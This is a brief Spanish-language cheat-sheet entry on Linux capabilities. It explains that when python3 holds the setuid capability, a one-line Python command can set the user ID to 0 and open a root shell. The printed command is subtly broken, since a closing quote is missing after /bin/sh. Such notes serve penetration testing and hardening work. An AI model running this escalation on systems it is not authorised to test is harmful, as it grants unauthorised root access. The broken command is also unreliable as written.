Capabilities #

Capability Setuid en python #

si encontramos que python3 tiene la capability de setuid. con esta capability podemos ejecutar una shell cambiando la uid del usuario actual por “0” que es la de root.

./python3 -c 'import os; os.setuid(0); os.system("/bin/sh)'